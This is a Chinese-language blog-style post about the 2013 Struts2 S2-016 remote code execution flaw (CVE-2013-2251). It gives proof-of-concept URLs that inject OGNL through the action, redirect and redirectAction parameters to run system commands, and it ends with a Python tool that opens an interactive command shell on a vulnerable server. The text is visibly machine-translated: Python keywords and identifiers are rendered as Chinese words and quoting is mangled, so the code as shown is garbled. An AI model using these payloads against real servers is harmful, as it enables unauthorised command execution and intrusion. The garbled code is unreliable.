7·17中午刚刚午睡醒来就看到几个熟悉字眼——Struts2远程执行代码。施特!难道继上回& lt;销售:a>标签后又新曝一个?本来还没睡醒的一下子清醒了。一看果断,紧接着某云就被刷屏了~ ~ ~一场腥风血雨画面即将上演…
据报道,受影响版本是2.0.0-2.3.15,CVE编号:CVE - 2013 - 2251。原因是因为参数行动的值将以重定向及redirectAction没有正确过滤,导致允许* * *者在访问使用Struts2的应用时远程执行OGNL表达式
漏洞证明:
http://host/struts2-blank/example/X.action?action % 25 {3 * 4}
http://host/struts2-blank/example/X.action?redirect % 25 {3 * 4}
http://host/struts2-blank/example/X.action?redirectAction: % 25 {3 * 4}
代码测试:
http://host/struts2-blank/example/X.action?action % 25{(新+ java.lang.ProcessBuilder(新+以[]{‘命令’,‘走’,‘这里’})).start ()}
http://host/struts2-showcase/employee/save.action?redirect % 25{(新+ java.lang.ProcessBuilder(新+以[]{‘命令’,‘走’,‘这里’})).start ()}
http://host/struts2-showcase/employee/save.action?redirectAction % 25{(新+ java.lang.ProcessBuilder(新+以[]{‘命令’,‘走’,‘这里’})).start ()}
官方已经更新补丁,管理员们速度打上,不然裤子被脱了还不知道。
URL: http://struts.apache.org/download.cgi struts23151
下面显示下python写的利用工具【图】
一用谷歌搜差点没吓尿,再次强烈建议管理今晚加班都要把这修补了! ! !晚安
- - - - - - - - - - - - - - - - - - - - - - - - - - - -更新py脚本代码- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# !/usr/bin/env python # - * -编码:utf - 8 - * # # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Struts2 2.0.0 - Struts 2.3.15 # cve - 2013 - 2251 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #版权,Terryll保留 #作者评论日期 #特里2013-7-17创建 进口urllib 进口urllib2 进口再保险 导入系统 url_exp=" ?重定向:$ {% 23 % 3 d(新% 20 java.lang.processbuilder(新% 20以[]{的whoami})) .start () % 23 b % 3 d % 23 a.getinputstream () % 23 c % 3 dnew % 20 java.io.inputstreamreader (% 23 b), % 23 d % 3 dnew % 20 java.io.bufferedreader (% 23 c), % 23 e % 3 dnew % 20 char [50000], % 23 d.read (% 23 e), % 23马特% 3 d % 23 context.get (“com.opensymphony.xwork2.dispatcher.HttpServletResponse”), % 23 matt.getwriter () .println (% 23 e), % 23 matt.getwriter () .flush () % 23 matt.getwriter () .close ()}” def法官(url): #判断是否存在该漏洞 如果url.endswith (“.action”): 试一试: url=url + url_exp #打印url url_request=urllib2.Request (url) 响应=urllib2.urlopen (url_request) res_html=response.read () #打印res_html [100] 如果res_html.find(“在”)在0: 返回“失败” 其他: 返回“OK” #打印response.func_code 除了: 返回“错误” 其他: 返回“url错误” def get_args(参数): # #转化为参数的格式如:“ls”、“过程” # args=参数。分割(' ') args_deal=" 因为我在参数: args_deal=args_deal +”“我+ +”,“ args_deal=args_deal (: 1) 返回args_deal def地带(str): # #去除首尾的\ x00串 # tmp=str.strip () blank_line=re.compile (“\ x00”) tmp=blank_line.sub (tmp) 返回tmp def攻击(url): # #做 # 试一试: url_request=urllib2.Request (url) 响应=urllib2.urlopen (url_request) .strip res_html=response.read () () 返回带(res_html) 除了: 返回“错误” if __name__==癬_main__”: 如果len (sys.argv)比;1: #打印get_url (ls过程) 如果法官(sys.argv [1])==癘K”: 打印“成功” 模式=re.compile (r 'http [s] ?://((\ w \ w) * ?)/') url=系统。argv [1] + url_exp 主机名=pattern.findall (url) #打印主机名[0] 循环=1 while循环: 字符串=raw_input(主机名[0]+“在”) 如果string.startswith(“退出”): 打破 循环=0 如果len(字符串)比;0: url_=url.replace (“whoami”, get_args (string)) #打印url_ 打印攻击(url_) 其他: 打印“失败” 其他: 打印(“不争论!”)Struts2远程执行代码(s2 - 016)利用工具